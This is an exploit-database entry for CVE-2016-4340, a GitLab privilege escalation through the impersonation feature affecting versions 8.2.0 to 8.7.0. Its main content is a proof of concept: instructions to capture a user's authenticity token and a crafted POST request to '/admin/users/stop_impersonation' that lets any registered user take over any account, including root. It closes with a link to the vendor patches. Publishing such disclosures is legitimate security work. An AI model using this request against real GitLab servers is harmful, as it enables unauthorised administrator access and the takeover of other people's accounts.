# Exploit Title: GitLab privilege escalation via "impersonate" feature # Date: 02-05-2016 # Software Link: https://about.gitlab.com/ # Version: 8.2.0 - 8.2.4, 8.3.0 - 8.3.8, 8.4.0 - 8.4.9, 8.5.0 - 8.5.11, 8.6.0 - 8.6.7, 8.7.0 # Exploit Author: Kaimi # Website: https://kaimi.ru # CVE: CVE-2016-4340 # Category: webapps 1. Description Any registered user can "log in" as any other user, including administrators. https://about.gitlab.com/2016/05/02/cve-2016-4340-patches/ 2. Proof of Concept Login as regular user. Get current authenticity token by observing any POST-request (ex.: change any info in user profile). Craft request using this as template: POST /admin/users/stop_impersonation?id=root . . . _method=delete&authenticity_token=lqyOBt5U%2F0%2BPM2i%2BGDx3zaVjGgAqHzoteQ15FnrQ3E8%3D Where 'root' - desired user. 'authenticity_token' - token obtained on the previous step. 3. Solution: Use officialy provided solutions: https://about.gitlab.com/2016/05/02/cve-2016-4340-patches/